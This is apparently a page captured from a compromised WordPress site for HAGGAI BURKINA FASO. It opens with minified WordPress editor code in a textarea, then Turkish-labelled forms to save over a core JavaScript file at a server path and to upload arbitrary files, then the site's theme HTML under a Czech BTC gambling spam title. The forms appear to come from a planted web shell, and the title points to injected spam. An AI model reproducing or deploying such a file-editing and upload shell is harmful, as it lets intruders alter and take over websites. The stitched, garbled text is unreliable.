o=(0,os.useSelect)(l=&gt;l(q).getEntityConfig(t,e),[t,e]),{records:s,...i}=ss(t,e,{...r,...r._fields?{_fields:[...new Set([...ie(r._fields)||[],&quot;_links&quot;])].join()}:{}},n),c=(0,Vc.useMemo)(()=&gt;s?.map(l=&gt;l[o?.key??&quot;id&quot;])??[],[s,o?.key]),a=(0,os.useSelect)(l=&gt;{let{getEntityRecordsPermissions:d}=Se(l(q));return d(t,e,c)},[c,t,e]);return{records:(0,Vc.useMemo)(()=&gt;s?.map((l,d)=&gt;({...l,permissions:a[d]}))??[],[s,a]),...i}}var mh=w(er(),1),yh=w(gh(),1);function Eh(t,e){let r=typeof t==&quot;object&quot;,n=r?JSON.stringify(t):t;return r&amp;&amp;typeof e&lt;&quot;u&quot;&amp;&amp;(0,yh.default)(&quot;When &#039;resource&#039; is an entity object, passing &#039;id&#039; as a separate argument isn&#039;t supported.&quot;),Mr(o=&gt;{let s=r?!!t.id:!!e,{canUser:i}=o(q),c=i(&quot;create&quot;,r?{kind:t.kind,name:t.name}:t);if(!s){let p=i(&quot;read&quot;,t),g=c.isResolving||p.isResolving,m=c.hasResolved&amp;&amp;p.hasResolved,y=te.Idle;return g?y=te.Resolving:m&amp;&amp;(y=te.Success),{status:y,isResolving:g,hasResolved:m,canCreate:c.hasResolved&amp;&amp;c.data,canRead:p.hasResolved&amp;&amp;p.data}}let a=i(&quot;read&quot;,t,e),u=i(&quot;update&quot;,t,e),l=i(&quot;delete&quot;,t,e),d=a.isResolving||c.isResolving||u.isResolving||l.isResolving,f=a.hasResolved&amp;&amp;c.hasResolved&amp;&amp;u.hasResolved&amp;&amp;l.hasResolved,h=te.Idle;return d?h=te.Resolving:f&amp;&amp;(h=te.Success),{status:h,isResolving:d,hasResolved:f,canRead:f&amp;&amp;a.data,canCreate:f&amp;&amp;c.data,canUpdate:f&amp;&amp;u.data,canDelete:f&amp;&amp;l.data}},[n,e])}var wh=Eh;function _h(t,e){return(0,mh.default)(&quot;wp.data.__experimentalUseResourcePermissions&quot;,{alternative:&quot;wp.data.useResourcePermissions&quot;,since:&quot;6.1&quot;}),Eh(t,e)}var Mn=w(We(),1),is=w(W(),1),cs=w(nr(),1);var Sh=w(We(),1);function Nr(t,e){return(0,Sh.useContext)(wt)?.[t]?.[e]}var _t=w(bn(),1);var bh=w(Ar(),1);var Bc,jc=new WeakMap;function vh(t){if(Bc||(Bc=Se(bh.privateApis)),!jc.has(t)){let e=Bc.getRichTextValues([t]);jc.set(t,e)}return jc.get(t)}var Fc=new WeakMap;function s_(t){if(!Fc.has(t)){let e=[];for(let r of vh(t))r&amp;&amp;r.replacements.forEach(({type:n,attributes:o})=&gt;{n===&quot;core/footnote&quot;&amp;&amp;e.push(o[&quot;data-fn&quot;])});Fc.set(t,e)}return Fc.get(t)}function Ch(t){return t.flatMap(s_)}var Yc={};function Gc(t,e){let r={blocks:t};if(!e||e.footnotes===void 0)return r;let n=Ch(t),o=e.footnotes?JSON.parse(e.footnotes):[];if(o.map(l=&gt;l.id).join(&quot;&quot;)===n.join(&quot;&quot;))return r;let i=n.map(l=&gt;o.find(d=&gt;d.id===l)||Yc[l]||{id:l,content:&quot;&quot;});function c(l){if(!l||Array.isArray(l)||typeof l!=&quot;object&quot;)return l;l={...l};for(let d in l){let f=l[d];if(Array.isArray(f)){l[d]=f.map(c);continue}if(typeof f!=&quot;string&quot;&amp;&amp;!(f instanceof _t.RichTextData))continue;let h=typeof f==&quot;string&quot;?_t.RichTextData.fromHTMLString(f):new _t.RichTextData(f),p=!1;h.replacements.forEach(g=&gt;{if(g.type===&quot;core/footnote&quot;){let m=g.attributes[&quot;data-fn&quot;],y=n.indexOf(m),E=(0,_t.create)({html:g.innerHTML});E.text=String(y+1),E.formats=Array.from({length:E.text.length},()=&gt;E.formats[0]),E.replacements=Array.from({length:E.text.length},()=&gt;E.replacements[0]),g.innerHTML=(0,_t.toHTMLString)({value:E}),p=!0}}),p&amp;&amp;(l[d]=typeof f==&quot;string&quot;?h.toHTMLString():h)}return l}function a(l){return l.map(d=&gt;({...d,attributes:c(d.attributes),innerBlocks:a(d.innerBlocks)}))}let u=a(t);return Yc={...Yc,...o.reduce((l,d)=&gt;(n.includes(d.id)||(l[d.id]=d),l),{})},{meta:{...e,footnotes:JSON.stringify(i)},blocks:u}}var i_=[],Rh=new Map;function Th(t,e,{id:r}={}){let n=Nr(t,e),o=r??n,{content:s,editedBlocks:i,meta:c}=(0,is.useSelect)(h=&gt;{if(!o)return{};let{getEditedEntityRecord:p}=h(x),g=p(t,e,o);return{editedBlocks:g.blocks,content:g.content,meta:g.meta}},[t,e,o]),{__unstableCreateUndoLevel:a,editEntityRecord:u}=(0,is.useDispatch)(x),l=(0,Mn.useMemo)(()=&gt;{if(!o)return;if(i)return i;if(!s||typeof s!=&quot;string&quot;)return i_;let h=`${t}:${e}:${o}`,p=Rh.get(h),g;return p&amp;&amp;p.content===s?g=p.blocks:(g=(0,cs.parse)(s),Rh.set(h,{content:s,blocks:g})),g},[t,e,o,i,s]),d=(0,Mn.useCallback)((h,p)=&gt;{if(l===h)return a(t,e,o);let{selection:m,...y}=p,E={selection:m,content:({blocks:_=[]})=&gt;(0,cs.__unstableSerializeAndClean)(_),...Gc(h,c)};u(t,e,o,E,{isCached:!1,...y})},[t,e,o,l,c,a,u]),f=(0,Mn.useCallback)((h,p)=&gt;{let{selection:g,...m}=p,y={selection:g,...Gc(h,c)};u(t,e,o,y,{isCached:!0,...m})},[t,e,o,c,u]);return[l,f,d]}var as=w(We(),1),ls=w(W(),1);function xh(t,e,r,n){let o=Nr(t,e),s=n??o,c=(0,as.useContext)(wt)?.revisionId,{value:a,fullValue:u}=(0,ls.useSelect)(f=&gt;{if(c){let y=f(x).getRevisions(t,e,s,{per_page:-1,context:&quot;edit&quot;,_fields:&quot;id,date,author,meta,title.raw,excerpt.raw,content.raw&quot;}),_=f(x).getEntityConfig(t,e)?.revisionKey||M,S=y?.find(b=&gt;b[_]===c);return S?{value:S[r]?.raw??S[r],fullValue:S[r]}:{}}let{getEntityRecord:h,getEditedEntityRecord:p}=f(x),g=h(t,e,s),m=p(t,e,s);return g&amp;&amp;m?{value:m[r],fullValue:g[r]}:{}},[t,e,s,r,c]),{editEntityRecord:l}=(0,ls.useDispatch)(x),d=(0,as.useCallback)(f=&gt;{c||l(t,e,s,{[r]:f})},[l,t,e,s,r,c]);return[a,d,u]}var us=w(jn(),1),Je=w(We(),1);var c_={richTextOffset:null,localClientId:null},$c={activeCollaborators:[],resolveSelection:()=&gt;c_,getDebugData:()=&gt;({doc:{},clients:{},collaboratorMap:{}}),isCurrentCollaboratorDisconnected:!1};function Ih(t,e){let r=e??t.getCurrentState();return{activeCollaborators:r,resolveSelection:n=&gt;t.convertSelectionStateToAbsolute(n),getDebugData:()=&gt;t.getDebugData(),isCurrentCollaboratorDisconnected:r.find(n=&gt;n.isMe)?.isConnected===!1}}function Nn(t,e){let[r,n]=(0,Je.useState)($c);return(0,Je.useEffect)(()=&gt;{if(t===null||e===null){n($c);return}let o=`postType/${e}`,s=t.toString(),i=pe()?.getAwareness(o,s);if(!i){n($c);return}return i.setUp(),n(Ih(i)),i?.onStateChange(a=&gt;{n(Ih(i,a))})},[t,e]),r}function Ah(t,e){return Nn(t,e).activeCollaborators}function Dh(t,e){return Nn(t,e).resolveSelection}function a_(t,e){let[r,n]=(0,Je.useState)(null);return(0,Je.useEffect)(()=&gt;{if(t===null||e===null){n(null);return}let o=pe()?.getAwareness(`postType/${e}`,t.toString());if(!o){n(null);return}o.setUp();let s=o.doc.getMap(&quot;state&quot;),i=o.doc.getMap(&quot;document&quot;),c=Date.now(),a=u=&gt;{if(u.keysChanged.has(&quot;savedAt&quot;)){let l=s.get(&quot;savedAt&quot;),d=s.get(&quot;savedBy&quot;);if(typeof l==&quot;number&quot;&amp;&amp;typeof d==&quot;number&quot;&amp;&amp;l&gt;c){let f=i.get(&quot;status&quot;);n({savedAt:l,savedByClientId:d,postStatus:f})}}};return s.observe(a),()=&gt;{s.unobserve(a)}},[t,e]),r}function kh(t,e,r){let{activeCollaborators:n}=Nn(t,e),o=(0,us.usePrevious)(n);(0,Je.useEffect)(()=&gt;{if(!o||o.length===0)return;let s=new Map(o.map(c=&gt;[c.clientId,c])),i=n.find(c=&gt;c.isMe);for(let c of n)!s.has(c.clientId)&amp;&amp;!c.isMe&amp;&amp;r(c,i)},[n,o,r])}function Oh(t,e,r){let{activeCollaborators:n}=Nn(t,e),o=(0,us.usePrevious)(n);(0,Je.useEffect)(()=&gt;{if(!o||o.length===0)return;let s=new Map(n.map(i=&gt;[i.clientId,i]));for(let i of o){if(i.isMe||!i.isConnected)continue;s.get(i.clientId)?.isConnected||r(i)}},[n,o,r])}function Uh(t,e,r){let{activeCollaborators:n}=Nn(t,e),o=a_(t,e),s=(0,us.usePrevious)(o);(0,Je.useEffect)(()=&gt;{if(!o||s&amp;&amp;o.savedAt===s.savedAt)return;let i=n.find(c=&gt;c.clientId===o.savedByClientId&amp;&amp;!c.isMe);i&amp;&amp;r(o,i,s??null)},[o,s,n,r])}var l_={useEntityRecordsWithPermissions:hh,RECEIVE_INTERMEDIATE_RESULTS:Gr,retrySyncConnection:Sd,useActiveCollaborators:Ah,useResolvedSelection:Dh,useOnCollaboratorJoin:kh,useOnCollaboratorLeave:Oh,useOnPostSave:Uh,SelectionType:Dr,SelectionDirection:kr},Lh={};yd(Lh,l_);var zc=[...qo,...Wo.filter(t=&gt;!!t.name)],u_=zc.reduce((t,e)=&gt;{let{kind:r,name:n,plural:o}=e,s=Zt(r,n);if(t[s]=(i,c,a)=&gt;(A(r,n,s,{isShorthandSelector:!0,alternativeFunctionName:&quot;getEntityRecord&quot;}),xe(i,r,n,c,a)),o){let i=Zt(r,o,&quot;get&quot;);t[i]=(c,a)=&gt;(A(r,n,i,{isShorthandSelector:!0,alternativeFunctionName:&quot;getEntityRecords&quot;}),Xo(c,r,n,a))}return t},{}),d_=zc.reduce((t,e)=&gt;{let{kind:r,name:n,plural:o}=e,s=Zt(r,n);if(t[s]=(i,c)=&gt;(A(r,n,s,{isShorthandSelector:!0,alternativeFunctionName:&quot;getEntityRecord&quot;}),ts(r,n,i,c)),o){let i=Zt(r,o,&quot;get&quot;);t[i]=(...c)=&gt;(A(r,o,i,{isShorthandSelector:!0,alternativeFunctionName:&quot;getEntityRecords&quot;}),Un(r,n,...c)),t[i].shouldInvalidate=c=&gt;Un.shouldInvalidate(c,r,n)}return t},{}),f_=zc.reduce((t,e)=&gt;{let{kind:r,name:n}=e,o=Zt(r,n,&quot;save&quot;);t[o]=(i,c)=&gt;(A(r,n,o,{isShorthandSelector:!0,alternativeFunctionName:&quot;saveEntityRecord&quot;}),Ic(r,n,i,c));let s=Zt(r,n,&quot;delete&quot;);return t[s]=(i,c,a)=&gt;(A(r,n,s,{isShorthandSelector:!0,alternativeFunctionName:&quot;deleteEntityRecord&quot;}),xc(r,n,i,c,a)),t},{}),h_=()=&gt;({reducer:hf,actions:{...Wf,...Ac,...f_,...qf()},selectors:{...Jf,...bc,...u_},resolvers:{...Lc,...d_}}),q=(0,ds.createReduxStore)(x,h_());Se(q).registerPrivateSelectors(yc);Se(q).registerPrivateActions(Dc);(0,ds.register)(q);return Yh(p_);})();
</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/website_d7f7f658/wp-includes/js/dist/core-data.min.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="https://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>BTC hrát: aplikace a mobilní průvodce | HAGGAI BURKINA FASO</title>
<meta name='robots' content='max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Fbtc-hrat-aplikace-a-mobilni-pruvodce%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Fbtc-hrat-aplikace-a-mobilni-pruvodce%2F&#038;format=xml" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1da91b278c4*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em 